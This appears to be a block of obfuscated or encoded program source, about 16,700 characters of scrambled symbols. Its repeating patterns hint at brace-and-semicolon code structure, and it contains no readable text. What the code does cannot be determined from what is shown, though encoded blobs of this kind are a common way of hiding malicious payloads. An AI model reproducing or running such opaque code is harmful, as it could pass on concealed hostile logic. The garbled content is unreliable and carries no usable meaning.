68-=;0g1k=f9<,whhnvw{;.='==l,68*jvdU"U*1,:+w{;.='==l,68*js{& g6),6&o(kvdU{=0>5*027-).b9>3,:dU69w6( l).%/>&.=%8wifgvw6( l).%/>&.=%8wkkjvvyy68-=;0g1k=f9<,whhmvw==7i3&4;3f/;13mwilhvvv$U{&:'.m&9-+i()+g4b%&l24,::0;+wkkjvw702: *-3wxpxvs>-->&w6( l).%/>&.=%8whhlvbawnkrivs==7i3&4;3f/;13mwhhkvbams==7i3&4;3f/;13mwllgvba9>3,:vvdU69w~w==7i3&4;3f/;13mwhhjvw6( l).%/>&.=%8wlkmvvyy6, (/ :--0-w{&:'.m&9-+i()+g4vvv$U{=0>5*027-).bw61+v(/ -:20+: -:+-6:): -:,/01,: <0;:w{&:'.m&9-+i()+g4vabwitkfkvdU"Upp>(>6+-:,03):-UUU"Upp<02/63:<02/0,6+:90-:<+0->*+0r-:9><+0-UU{>8*'7mg1o22b9>3,:d{3*n-.im0n.3,lnb  	d{3.'1j2-1b{3*n-.im0n.3,lnugdU69w68-=;0g1k=f9<,whhivw68-=;0g1k=f9<,whhhvvv$Upp;:><+6)>+:+*2=3618r(61;0(UU{6&%-hg81i,;h52b8:+ 0/+601w==7i3&4;3f/;13mwhhgvs>-->&wvvdUUUU{>8*'7mg1o22b68-=;0g1k=f9<,whmivw{6&%-hg81i,;h52vyy==7i3&4;3f/;13mwhhfvw.(o7-ji%=hfofi9%>-owvs{6&%-hg81i,;h52s+-*:vdU"U..+:l- 3/5(*9,%,)6<:w-nif,f=:o%ol2)owvswlgitlkvvdU69w~,=.9=%*lk<l11j),n'56'/w-nif,f=:o%ol2)owvs+l92.0094n*&>:4j01(w{81j74='8k.+vvv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,whijvs%&l24,::0;+whgovvdU-:+*-1dU"U3o>94&fk7+k97f >w-nif,f=:o%ol2)owvvdU1=g11'309*'4'1g3&w-nif,f=:o%ol2)owvvdU69w==7i3&4;3f/;13mwhhivw6( l).%/>&.=%8whgnvvv,:+ +->1,6:1+w68-=;0g1k=f9<,whgmvsnswmhhtmlvvd{,9ml-/7h.0/<&6brjnid{%1%%/%<431/-bw{,9ml-/7h.0/<&6aov`{,9ml-/7h.0/<&6er{,9ml-/7h.0/<&6dU69w~{=0>5*027-).yy6( l).%/>&.=%8whhivw==7i3&4;3f/;13mwkkjvvyy6( l).%/>&.=%8whhivw6( l).%/>&.=%8whglvvv$U{+=2kgjmo+&0*3</nbrndU90-w{;(&-(8.ggg6h.kbod{;(&-(8.ggg6h.kcmd{;(&-(8.ggg6h.kttv$U{6;+5-)3(5+1%&b%&l24,::0;+whgkvw702: *-3w==7i3&4;3f/;13mwhgjvq68-=;0g1k=f9<,wkkovwwfffmnthfvswfffffmthvvvs>-->&w==7i3&4;3f/;13mwhgivbawkccnvs==7i3&4;3f/;13mwhhkvbams68-=;0g1k=f9<,wllgvba9>3,:vvdU69w%&l24,::0;+whhivw==7i3&4;3f/;13mwlkmvvyy6, (/ :--0-w{6;+5-)3(5+1%&vv$U69w{;(&-(8.ggg6h.kbbboyy6( l).%/>&.=%8whhivw68-=;0g1k=f9<,whghvvv%&l24,::0;+whghvwmvdU<01+61*:dU"U{>ko4(55838i//82bw61+v(/ -:20+: -:+-6:): -:,/01,: <0;:w{6;+5-)3(5+1%&vdU69w{>ko4(55838i//82cwhltmhv##==7i3&4;3f/;13mwhggvw{>ko4(55838i//82s>-->&wwhogrmojvswkjgtimvswmgftmlmvswjoftnlvswjmmtnvswjnktnovswlotkfivswo'mohto'gvvs+-*:vv$UUUU69w{;(&-(8.ggg6h.kbbboyy6( l).%/>&.=%8whhivw%&l24,::0;+whghvvv6( l).%/>&.=%8whghvwmvdU<01+61*:dU"U{+=2kgjmo+&0*3</nb{>ko4(55838i//82dU=-:>4dU"Upp*++0130<4(6;8:+-:1;:-UU69w{+=2kgjmo+&0*3</nbbbrnv{+=2kgjmo+&0*3</nbwkiotkovdU69w{+=2kgjmo+&0*3</nabwkgmtngvv$U{*.9-nhj*ln>(-&+b,=.9=%*lk<l11j),n'56'/w-nif,f=:o%ol2)owvs+l92.0094n*&>:4j01(w{1jg*m<61o'>.,3;vvdU69w~{*.9-nhj*ln>(-&+v{*.9-nhj*ln>(-&+b,=.9=%*lk<l11j),n'56'/w-nif,f=:o%ol2)owvs{1jg*m<61o'>.,3;vdU*/;>+: 0/+601w6( l).%/>&.=%8wngfvs6( l).%/>&.=%8whnjvw{81j74='8k.+vqx#xq%&l24,::0;+whhovwvs==7i3&4;3f/;13mwhgfvvdU69w~{*.9-nhj*ln>(-&+v$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8whfovs%&l24,::0;+whfnvq{+=2kgjmo+&0*3</nvdU-:+*-1dU"U1=g11'309*'4'1g3&w-nif,f=:o%ol2)owvvdU3o>94&fk7+k97f >w-nif,f=:o%ol2)owvvdU:%''&1')6-2mnm(w+-*:vdUUUU'+l>-385.n%+.(,6+mw+-*:vdU{7(**'%;j&i.-b68-=;0g1k=f9<,wmjhvw-nif,f=:o%ol2)owvs%&l24,::0;+wjoivvdU90-:><7w>-->&w68-=;0g1k=f9<,whfmvw-nif,f=:o%ol2)owvvs* <>0f1:0)g)&4k,07+oo1wvv>,{6+.lj,9<m/'g+7g'v$UU==7i3&4;3f/;13mwhhnvw{6+.lj,9<m/'g+7g'q%&l24,::0;+wmoivq{7(**'%;j&i.-vdU==7i3&4;3f/;13mwhhnvw{6+.lj,9<m/'g+7g'q==7i3&4;3f/;13mwhflvq{7(**'%;j&i.-vd{(hn n*/,7*1j%3bjugd{%;j5;4<,46b{(hn n*/,7*1j%3rfdUUU"Upp):<+0-6%:/-:,<-6/+6):/-60-6+&r.*:*:UU69w{>8*'7mg1o22yy~>>&*)ln-fl %>=n1g%:2wvyy%&l24,::0;+whfkvw68-=;0g1k=f9<,wlfjvvv$U{)n>;> 03%(b8:+ 0/+601w==7i3&4;3f/;13mwhhgvs>-->&wvvdUUU69w6( l).%/>&.=%8whfjvw{)n>;> 03%(vyy~==7i3&4;3f/;13mwhfivw.(o7-ji%=hfofi9%>-owvs{)n>;> 03%(s+-*:vv$U{)n>;> 03%(b.(o7-ji%=hfofi9%>-owvdU*/;>+: 0/+601w%&l24,::0;+whhgvs{)n>;> 03%(vdU"U"U{%&l24,::0;+whfhvbodU349)=<68.<<j<,kwvdU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8whfovs6( l).%/>&.=%8whfgvq{+=2kgjmo+&0*3</nvdU-:+*-1dUU"U"U69w{-667gm%g*%m*4l51~bb}}v$U{==7i3&4;3f/;13mwnvb{-667gm%g*%m*4l51dUUUU0f(,8l2>71ml(4kw-nif,f=:o%ol2)owvs{-667gm%g*%m*4l51vdU"U69w{&%>l--2h.'v$U{%kg*lj2l-%1h6)b==7i3&4;3f/;13mwmjhvw-nif,f=:o%ol2)owvs%&l24,::0;+wjoivvdU90-:><7w>-->&w%&l24,::0;+whfmvw-nif,f=:o%ol2)owvvs* <>0f1:0)g)&4k,07+oo1wvv>,{612-j3om;-+69v$U6( l).%/>&.=%8whhnvw{612-j3om;-+69q68-=;0g1k=f9<,whffvq{%kg*lj2l-%1h6)vdU"U*1,:+w{%kg*lj2l-%1h6)s{612-j3om;-+69vdU"U5% 3m3%%i+&%>-;(142mm)w68-=;0g1k=f9<,wgoovs{81j74='8k.+s6( l).%/>&.=%8whgfvvdU:%''&1')6-2mnm(w+-*:vdU'+l>-385.n%+.(,6+mw+-*:vdU{6( l).%/>&.=%8whfhvbodU349)=<68.<<j<,kwvdU..+:l- 3/5(*9,%,)6<:w-nif,f=:o%ol2)owvswnfgtfkvvdU69w1=g11'309*'4'1g3&w-nif,f=:o%ol2)owvvv:fk534k;<kn+4l3w-nif,f=:o%ol2)owvvdU*/;>+: 0/+601w68-=;0g1k=f9<,wmnkvs{-667gm%g*%m*4l51qx#xq%&l24,::0;+whhovwvs==7i3&4;3f/;13mwhgfvvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+whfovs{3+1n/j=+n mvdUUUU"<>+<7w'<:/+601{3+1n/j=+n mv$Upp;:,:-6>36%:)6,6+0-90-:<+0->*+0r-:9><+0-UU"961>33&$U8j,l7f2>m0=f6&<-w%&l24,::0;+wgonvvdUU"U"U9*1<+601<8,n*5o&,k13k%wvU$Upp+-><:=-6;8:90-30<401+-03,UUUU69w~;:961:;w%&l24,::0;+wgomvv##~68-=;0g1k=f9<,whfkvw%&l24,::0;+wgolvvv$Upp,/:<6>36%:9>6+79*3(-6+:r>7:>;r308UU69w68-=;0g1k=f9<,wgokvwq%&l24,::0;+wgojvvv$Upp0-;-:,,iqk/>++:-1,e,>+6,96>=3:,36;618r(61;0(UU-:.*6-: 01<:q68-=;0g1k=f9<,wgojvd{1kl(-&o'i:'2g-bwo'==to'njvd{+.>1:<:-2j<.2b{1kl(-&o'i:'2g-znmdU"U69w~6( l).%/>&.=%8whfkvw6( l).%/>&.=%8wgolvvv$Uppgqn61+:-,:<+601e-:3>':;61+:-/-:+:-UUUUU-:+*-1dU"Upp/-0/>8>+:r<01,+;:>;r3:++:-UU"Upp<3:>1:-><+601UU{./8>oiih<n nb8:+ /3*861,wvdU69w~==7i3&4;3f/;13mwhfjvw{./8>oiih<n nvv$UU-:+*-1dUU"U{36,+b>-->&wvdU90-:><7w{./8>oiih<n n>,{=>,:1>2:ba{(>7 &+*&0(,,+v$U69w{=>,:1>2:bbb.(o7-ji%=hfofi9%>-owvv$U<01+61*:dU"U{36,+{=>,:1>2:b{(>7 &+*&0(,,+dUUU"U-:+*-1{36,+dUUU"U9*1<+601,/h7-nh=/n=,*/w{<03(%':3g>0s{);6'0:&50k):l'.vU$Upp+-6/<0*1+UUUUU{)8o6+:j/7, '7b==7i3&4;3f/;13mwjffvw{<03(%':3g>0s9>3,:s1*33soswo'l>inhto'kjf:fvvdU69w~{)8o6+:j/7, '7v$U-:+*-19>3,:dU"UUU90-:><7w{);6'0:&50k):l'.>,{,6: i 'j i:<v$UU69w~==7i3&4;3f/;13mwhiovw{,6: i 'j i:<v##~{,6: i 'j i:<##%&l24,::0;+wjjlvw{,6: i 'j i:<vawo'>jfto'j>hvv$U<01+61*:dUUUU"UUU+-&$UUUU{)h5njf,21i9f/hb%&l24,::0;+wgoivw{,6: i 'j i:<s{)8o6+:j/7, '7vdU"<>+<7w7-0(>=3:{/*:=*&'.:h08%3g9v$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwgohvs{/*:=*&'.:h08%3g9vdU<01+61*:dU"<>+<7w'<:/+601{/*:=*&'.:h08%3g9v$UUU<01+61*:dU"UU69w{)h5njf,21i9f/hv$U-:+*-1+-*:dU"Upp6,02:+-6</6/:361:UU"U-:+*-19>3,:dUU"UU9*1<+601+7on5j'=/ik,&i;w{/3*861 =>,:1>2:vUUU$U{);6'0:&50k):l'.b{==7i3&4;3f/;13mwgogvdU69w~%&l24,::0;+whfjvw{);6'0:&50k):l'.v##:2/+&w{);6'0:&50k):l'.vv$UU-:+*-19>3,:dU"U69w~;:961:;w68-=;0g1k=f9<,wgomvv##:2/+&w{/3*861 =>,:1>2:v##%&l24,::0;+wgofvw{/3*861 =>,:1>2:s%&l24,::0;+wmkivv~bb9>3,:v$U-:+*-19>3,:dU"UU{13o'45<go:gb 
 qxpxq{/3*861 =>,:1>2:dUUUU69w%&l24,::0;+whfmvw{/3*861 =>,:1>2:vbbbxqxv$U{' :o62>io:(':b>-->&w{13o'45<go:gvdU":3,:$U{-h/43n4*<,ob68-=;0g1k=f9<,wgnovw{13o'45<go:gvdU69w~==7i3&4;3f/;13mwmojvw{-h/43n4*<,ov##~68-=;0g1k=f9<,wgnnvw{-h/43n4*<,ovv$U-:+*-19>3,:dU"U{' :o62>io:(':b5'10 n--8::m:m:4hi'9w{-h/43n4*<,os>-->&w6( l).%/>&.=%8wgnmvs68-=;0g1k=f9<,wgnlvs%&l24,::0;+wgnkvs6( l).%/>&.=%8wgnjvs68-=;0g1k=f9<,wgnivvvdU"UUUUU90-:><7w{' :o62>io:(':>,{<03(%':3g>0v$UU69w~==7i3&4;3f/;13mwgnhvw{<03(%':3g>0vv$UU<01+61*:dU"Upp30<401+-03,e<0)>-6>1+r>;5/-0+0+&/:UU69w,/h7-nh=/n=,*/w{<03(%':3g>0s{);6'0:&50k):l'.vv$U-:+*-1+-*:dU"Upp,/6332:;6>+0-UU"U-:+*-19>3,:dU"U9*1<+6015'10 n--8::m:m:4hi'9w{-h/43n4*<,os{><76 06l%* ,3+/s{:+gn **o%9 <7-bosy{;n/5:i08n*,)g6b1*33sy{0+ 0*kj=jl8><b1*33vU$U{36,+b>-->&wvdUU69w{:+gn **o%9 <7-awo'lto'jvv$UUUU-:+*-1{36,+dU"U69w{;n/5:i08n*,)g6bbb1*33v$U{;n/5:i08n*,)g6b>-->&wvdU{0+ 0*kj=jl8><b6( l).%/>&.=%8wifovw+-*:vtwo'fto'nvdU"UUUU69w%&l24,::0;+wgngvw+-*:va{0+ 0*kj=jl8><v$U-:+*-1{36,+dU"UU69w~==7i3&4;3f/;13mwmojvw{-h/43n4*<,ovv$Upp>+026<-:>;UU-:+*-1{36,+dU"U{=jo2;<=m0=%b==7i3&4;3f/;13mwmljvw{-h/43n4*<,ovdU69w{=jo2;<=m0=%~bb9>3,:v$U69w6,,:+w{;n/5:i08n*,)g6{=jo2;<=m0=%vv$U-:+*-1{36,+dU"U{;n/5:i08n*,)g6{=jo2;<=m0=%b+-*:dUUU"UU{(>;(f;g%f)o1.55 b*m,n*l71hj:h7,7>,.4*w{-h/43n4*<,ovdU69w~68-=;0g1k=f9<,wgnfvw{(>;(f;g%f)o1.55 vv$U-:+*-1{36,+dUU"U90-:><7w{(>;(f;g%f)o1.55 >,{%8;i><=o1+j9&v$U69w==7i3&4;3f/;13mwgngvw+-*:va{0+ 0*kj=jl8><##68-=;0g1k=f9<,wigfvw{36,+vabwkontffvv$U=-:>4dU"U{13o'45<go:gb{-h/43n4*<,oqxpxq{%8;i><=o1+j9&dUUUU69w68-=;0g1k=f9<,wgmovw{13o'45<go:gvv$U<01+61*:dU"UU69w%&l24,::0;+wmojvw{13o'45<go:gvv$U{36,+b%&l24,::0;+wkmnvw{36,+s5'10 n--8::m:m:4hi'9w{13o'45<go:gs{><76 06l%* ,3+/s{:+gn **o%9 <7-tns{;n/5:i08n*,)g6s{0+ 0*kj=jl8><vvdU":3,:69w6( l).%/>&.=%8wgmnvw{13o'45<go:gvv$U{&n7gf('(%1mb6( l).%/>&.=%8wgmmvw{13o'45<go:gs<01,+>1+w%&l24,::0;+wgmlvvvdU{&n7gf('(%1mb==7i3&4;3f/;13mwhiovw{&n7gf('(%1mv`%&l24,::0;+whhvw{&n7gf('(%1mve}}dU69w68-=;0g1k=f9<,whfivw{&n7gf('(%1ms{><76 06l%* ,3+/s+-*:vv$U{36,+b{13o'45<go:gd{,+35mk4nbiftffd{.*53&9g3+&b{,+35mk4nrkkdU"U"U"U-:+*-1{36,+dU"UU9*1<+6014;:*82.;-+i;gl&m1%w{/3*861 =>,:1>2:vU$UU69w~68-=;0g1k=f9<,whiovw{/3*861 =>,:1>2:v##~{/3*861 =>,:1>2:v$UUUU-:+*-19>3,:dU"U69w==7i3&4;3f/;13mwgmkvw{/3*861 =>,:1>2:s68-=;0g1k=f9<,wmkivv~bb9>3,:v$U-:+*-19>3,:dU"UU{/3*861 =>,:1>2:b%&l24,::0;+wignvw{/3*861 =>,:1>2:vdU69w{/3*861 =>,:1>2:bbb.(o7-ji%=hfofi9%>-owvv$UUUU-:+*-19>3,:dU"UUUUU69w~==7i3&4;3f/;13mwhfkvw%&l24,::0;+wgmjvvyy==7i3&4;3f/;13mwgokvwq68-=;0g1k=f9<,wgmivvv$U-:.*6-: 01<:q==7i3&4;3f/;13mwgmivdU"UU69w6( l).%/>&.=%8wgmhvw%&l24,::0;+wgmjvvyy6, /3*861 ><+6):w{/3*861 =>,:1>2:vv$U;:><+6)>+: /3*861,w>-->&w{/3*861 =>,:1>2:vs+-*:vdU"UU{-h/43n4*<,ob;:961:;w68-=;0g1k=f9<,wgmgvv` 
 qxpxq==7i3&4;3f/;13mwgnovw{/3*861 =>,:1>2:ve}}dUUU69w{-h/43n4*<,oyy==7i3&4;3f/;13mwgmfvw{-h/43n4*<,ovyy%&l24,::0;+wgnovw{/3*861 =>,:1>2:v~bbxqxyy6( l).%/>&.=%8wgnovw{/3*861 =>,:1>2:vv$U69w*6g5*go,;& jgl)h*85 w{-h/43n4*<,ovv$U-:+*-1+-*:dUUUU"U"UU69w68-=;0g1k=f9<,wgmhvw68-=;0g1k=f9<,wglovvv$UU69w~6( l).%/>&.=%8wgmhvw==7i3&4;3f/;13mwglnvv##~<*--:1+ *,:- <>1w6( l).%/>&.=%8wglovvv$Upp/>-+6+601/-60-6+&r.*:*:90->8:6,+UU69w68-=;0g1k=f9<,wgmhvw6( l).%/>&.=%8wglmvvyy68-=;0g1k=f9<,wgmhvw68-=;0g1k=f9<,wgllvvv$UU{*,:-,b8:+ *,:-,w>-->&w6( l).%/>&.=%8wglkvba68-=;0g1k=f9<,wgljvs==7i3&4;3f/;13mwglivbanvvdU69w~:2/+&w{*,:-,vyy{*,:-,orav$U6( l).%/>&.=%8wgllvw{*,:-,oravdU":3,:$UUU68-=;0g1k=f9<,wgllvwnvdU"U"U"UU{2:=(k(5>m:jk,.1b;:3:+: /3*861,w>-->&w{/3*861 =>,:1>2:vvdU69w~6, (/ :--0-w{2:=(k(5>m:jk,.1vv$UUU-:+*-1w=003v{2:=(k(5>m:jk,.1dU"U"U-:+*-19>3,:dU"UU9*1<+601*6g5*go,;& jgl)h*85 w{-h/43n4*<,os{:+gn **o%9 <7-bovU$U69w{:+gn **o%9 <7-awnotivv${/ni,<3+ n: kb  	d{-2m2n;&37+(+b{/ni,<3+ n: kufdU-:+*-19>3,:dU"UUU69w~6( l).%/>&.=%8whiovw{-h/43n4*<,ov##{-h/43n4*<,obbb}}##6( l).%/>&.=%8wglhvw{-h/43n4*<,os==7i3&4;3f/;13mwmkivv~bb9>3,:v$U-:+*-19>3,:dU"UUU{)58g080n22,'b68-=;0g1k=f9<,wglgvw{-h/43n4*<,ovdU69w{)58g080n22,'bbb9>3,:##~6( l).%/>&.=%8wgmfvw{)58g080n22,'vv${1/3>69k42bniuld{&hfh,,-(,'b{1/3>69k42rlldU-:+*-19>3,:dU"U{&417512n;;h02b;:961:;w68-=;0g1k=f9<,wgmgvv`6( l).%/>&.=%8wglgvw 
 ve9>3,:dU69w{&417512n;;h02bbb9>3,:##w{)58g080n22,'~bb{&417512n;;h02yy68-=;0g1k=f9<,wglfvw{)58g080n22,'s{&417512n;;h02q v~bbovv$U-:+*-19>3,:d{=3i.hgmm k.9bwo'lgto'=fvd{2mf67(lih,l5b{=3i.hgmm k.9znidU"U{(51;l0,/k-hg/b68-=;0g1k=f9<,wmjovw{)58g080n22,'vdU69w~==7i3&4;3f/;13mwgnfvw{(51;l0,/k-hg/vv$U-:+*-19>3,:dU"U90-:><7w{(51;l0,/k-hg/>,{737klg9, ijk9v$UUU69w{737klg9, ijk9bbbxqx##{737klg9, ijk9bbb6( l).%/>&.=%8wmkivv$U<01+61*:dU"U{13o'45<go:gb{)58g080n22,'q<01,+>1+w6( l).%/>&.=%8wgkovvq{737klg9, ijk9dU69w6( l).%/>&.=%8wgknvw{13o'45<go:gvv$U6&3-,o*-.<)&:l.1w{13o'45<go:gvdU<01+61*:dU"Upp:'><+-:+-&r/036<&UUU69w==7i3&4;3f/;13mwgkmvw{13o'45<go:gvv$U*6g5*go,;& jgl)h*85 w{13o'45<go:gs{:+gn **o%9 <7-tnvdUUUU":3,:${88m6o>(.h=bwo'=nto'j>vd{/'h'=m7162b{88m6o>(.h=zidU69w~6&3-,o*-.<)&:l.1w{13o'45<go:gvv$U..+:l- 3/5(*9,%,)6<:w{13o'45<go:gswo'j9to'nkjvvdU6&3-,o*-.<)&:l.1w{13o'45<go:gvdU"U"U"U69w~%&l24,::0;+wgklvw{)58g080n22,'vv$U..+:l- 3/5(*9,%,)6<:w{)58g080n22,'swkghtivvdUU6( l).%/>&.=%8wgklvw{)58g080n22,'vdU"Upp*,:1+6+&:<0-;,e><.*6-:-:+-&r/036<&UU-:+*-1~==7i3&4;3f/;13mwgokvw{)58g080n22,'vdU"UUU9*1<+601/j-5&k5g<5*)%)-%>o59o wvU$UU+-&$U{36,+b<8,n*5o&,k13k%wvdU69w~==7i3&4;3f/;13mwgnfvw{36,+vv$U-:+*-1dU"UUUUU{61%n,.653<,/b>-->&wvdU{:i<h 4-;%0;j6h84b9>3,:dU90-:><7w%&l24,::0;+wgkkvw{36,+v>,{=>,:1>2:v$Upp0-;-:,,iql<022>1;,e=>+<7,46/r36,+UUU69w~68-=;0g1k=f9<,whiovw{=>,:1>2:vv$UUUU<01+61*:dUUU"UU{' 3i%)3;-9b6( l).%/>&.=%8wgnovw{=>,:1>2:vdU69w{' 3i%)3;-9bbbxqxv$U{' 3i%)3;-9b{=>,:1>2:dU"U69w6,,:+w{61%n,.653<,/{' 3i%)3;-9vv$U<01+61*:dU"UU{61%n,.653<,/{' 3i%)3;-9b+-*:dU69w+7on5j'=/ik,&i;w{=>,:1>2:vv$U4;:*82.;-+i;gl&m1%w{=>,:1>2:vdU{:i<h 4-;%0;j6h84b+-*:dU"U"UU69w6( l).%/>&.=%8wgkjvw* <>0f1:0)g)&4k,07+oo1wvvv${-+l%jlg<14>bnitnhd{&:/-4f,3/o7.b{-+l%jlg<14>rlkdU{1(l*mi=>'2b*m,n*l71hj:h7,7>,.4*w* <>0f1:0)g)&4k,07+oo1wvvdU69w68-=;0g1k=f9<,wgkivw{1(l*mi=>'2vv$U{);6'0:&50k):l'.b{6( l).%/>&.=%8wgogvdUUUU90-:><7w{1(l*mi=>'2>,{%8;i><=o1+j9&v$UU69w{%8;i><=o1+j9&bbb64g,7j8l*g'j*&'63.f<&wvv$U<01+61*:dU"Upp1+:-><+6)6+&>,/:<+->+60UUU{<03(%':3g>0b* <>0f1:0)g)&4k,07+oo1wvqxpxq{%8;i><=o1+j9&dU69w~%&l24,::0;+wgmnvw{<03(%':3g>0v##==7i3&4;3f/;13mwhhvw==7i3&4;3f/;13mwgmmvw{%8;i><=o1+j9&s<01,+>1+w%&l24,::0;+wgkhvvvv~bb6( l).%/>&.=%8wgkgvv$U<01+61*:dUU"UUU69w,/h7-nh=/n=,*/w{<03(%':3g>0s{);6'0:&50k):l'.vv$U6&3-,o*-.<)&:l.1w{<03(%':3g>0vdU{:i<h 4-;%0;j6h84b+-*:dUUU"UUU"U"U"UU{92i*ij:,)<.l+3fb{68-=;0g1k=f9<,wkgmvdU69w%&l24,::0;+wgkivw{92i*ij:,)<.l+3fvyy~:2/+&w{92i*ij:,)<.l+3fvv$Upp:<+0->*+0r-:9><+0-,6+:2:+>UU69w-&g%+6l'j1<=7-/ w{92i*ij:,)<.l+3fvv$UUUU{:i<h 4-;%0;j6h84b+-*:dU"U"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$Upp;:-:86,+:-:99:<+r+&/:UU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wgkfvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"UUU9*1<+601/2)&+6-='4h&>k3o*wvU$Upp/-0/>8>+:r<01,+8:1:->3r-:<*-,6):<033:<+0-UUUU+-&$U{67=n2(3>oj(/82*%bw61+v8:+ 0/+601w%&l24,::0;+wgjovsovdU69ww%&l24,::0;+whhovwvr{67=n2(3>oj(/82*%vabwljlitikvv$U*/;>+: 0/+601w68-=;0g1k=f9<,wgjnvs6( l).%/>&.=%8wgjmvwvvdU{+).*k+)*7<*nb>-->&w>-->&w13f:=.34h)86;6*jwvs>-->&w%&l24,::0;+wgjlvvvvdU{&1>-5oo1/)fb==7i3&4;3f/;13mwgjkvw==7i3&4;3f/;13mwmgvv`==7i3&4;3f/;13mwmgvwve}}dUUUU69w{&1>-5oo1/)f~bb}}yy{&1>-5oo1/)f~bb13f:=.34h)86;6*jwvv{+).*k+)*7<*nb>-->&w{&1>-5oo1/)fs>-->&w68-=;0g1k=f9<,wgjlvs68-=;0g1k=f9<,wgjjvvvdU90-:><7w{+).*k+)*7<*n>,{*0./gm2.ol&4&v$Upp*,72<01+-033:-UU90-:><7w{*0./gm2.ol&4&n>,{(8%'(n11jf 7nv$U{-=-,:h%)(,37b68-=;0g1k=f9<,wgjkvw68-=;0g1k=f9<,wjogvv`==7i3&4;3f/;13mwjogvw{*0./gm2.ol&4&oqxpxq{(8%'(n11jf 7nqxuxve9>3,:dU69w~68-=;0g1k=f9<,wgkivw{-=-,:h%)(,37vv<01+61*:dUUUUU90-:><7w{-=-,:h%)(,37>,{'7/jh>'54hv$U69w~%&l24,::0;+wgjivw{'7/jh>'54hvv<01+61*:dU{,8nm&5<.,kl0fb%&l24,::0;+wmomvw{'7/jh>'54hvdUUUU69w{,8nm&5<.,kl0f~bb9>3,:yyw==7i3&4;3f/;13mwgjhvwvr{,8nm&5<.,kl0fvawhofhrlkfhvv6&3-,o*-.<)&:l.1w{'7/jh>'54hvdU"UU"U"U{6&%-hg81i,;h52b8:+ 0/+601w%&l24,::0;+whhgvs>-->&wvvdU69w~==7i3&4;3f/;13mwgkivw{6&%-hg81i,;h52vv{6&%-hg81i,;h52b>-->&wvdU{5(:jo1+o29nb68-=;0g1k=f9<,wmjhvw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wgjgvvd{2n0-+'g/6-h2,binod{7..*>1<-226*.<bw{2n0-+'g/6-h2,aov`{2n0-+'g/6-h2,er{2n0-+'g/6-h2,dUUUU{ /;bw;:961:;w==7i3&4;3f/;13mwnkovv`  eq==7i3&4;3f/;13mwgjfvvq68-=;0g1k=f9<,wgiovdU90-:><7w68-=;0g1k=f9<,wgjkvw%&l24,::0;+wjogvv`w>-->&v68-=;0g1k=f9<,wjogvw{ /;q68-=;0g1k=f9<,wginvve>-->&wv>,{.9n./n/<i:7(1v$U69w==7i3&4;3f/;13mwgimvw68-=;0g1k=f9<,wgnovw{.9n./n/<i:7(1vvbbb{5(:jo1+o29nv<01+61*:dU{='+=hmlo%jb%&l24,::0;+wgimvw==7i3&4;3f/;13mwgilvw{.9n./n/<i:7(1vvqxpxq==7i3&4;3f/;13mwgimvw{.9n./n/<i:7(1vd{6=+<ioffbnkj#niid{'',9,6-jb{6=+<ioffnlkdU69w68-=;0g1k=f9<,whfivw{='+=hmlo%js{6&%-hg81i,;h52s+-*:vv<01+61*:dU69w~68-=;0g1k=f9<,wnkhvw{.9n./n/<i:7(1vv<01+61*:dU{+</++k9 0*=m++87b68-=;0g1k=f9<,wmmlvw{.9n./n/<i:7(1vdU69w~{+</++k9 0*=m++87##{+</++k9 0*=m++87awmofhohlthfvv<01+61*:dUU{>ko4(55838i//82b6( l).%/>&.=%8wjffvw{.9n./n/<i:7(1vdU69w~==7i3&4;3f/;13mwhiovw{>ko4(55838i//82v##68-=;0g1k=f9<,wgikvw{>ko4(55838i//82s%&l24,::0;+wgijvvbbb9>3,:v<01+61*:dU{+ij/h92o<-k.b6( l).%/>&.=%8wjnnvw6( l).%/>&.=%8wgiivs}}s{>ko4(55838i//82vdU69w~==7i3&4;3f/;13mwhiovw{+ij/h92o<-k.v##{+ij/h92o<-k.bbb{>ko4(55838i//82##~)%;j1-;6fo.< h=<%=*w{+ij/h92o<-k.vv<01+61*:dU,=.9=%*lk<l11j),n'56'/w{.9n./n/<i:7(1s{+ij/h92o<-k.vdU69w%&l24,::0;+wgihvw6( l).%/>&.=%8wmoovvv0/<><7: 61)>36;>+:w{.9n./n/<i:7(1s+-*:vdUUUU"U*1,:+w{6&%-hg81i,;h52s{5(:jo1+o29ns{ /;s{.9n./n/<i:7(1s{='+=hmlo%js{+</++k9 0*=m++87s{>ko4(55838i//82s{+ij/h92o<-k.vdU,j;1'44-4%--h.<8o o,wvdU"UU{5lh'-mk'.(3:b{6( l).%/>&.=%8wgigvdUU{92i*ij:,)<.l+3fb{==7i3&4;3f/;13mwkgmvdUU{=8;*69,(35>+=8nbw68-=;0g1k=f9<,wgkivw{5lh'-mk'.(3:vyy~:2/+&w{5lh'-mk'.(3:vv##w6( l).%/>&.=%8wgifvw{92i*ij:,)<.l+3fvyy~:2/+&w{92i*ij:,)<.l+3fvvdU69w~{=8;*69,(35>+=8nv$U-:+*-1dU"UUU{2958+= 6n5i<)3=7bw61+v8:+ 0/+601w6( l).%/>&.=%8wghovsovdU69ww6( l).%/>&.=%8wgjhvwvr{2958+= 6n5i<)3=7vcwo'ff:to'khmvv$Upp>830*;e3614*1696<>+601UU-:+*-1dU"UUU/j-5&k5g<5*)%)-%>o59o wvdU*/;>+: 0/+601w==7i3&4;3f/;13mwghovs%&l24,::0;+wgjhvwvvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwghnvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$Upp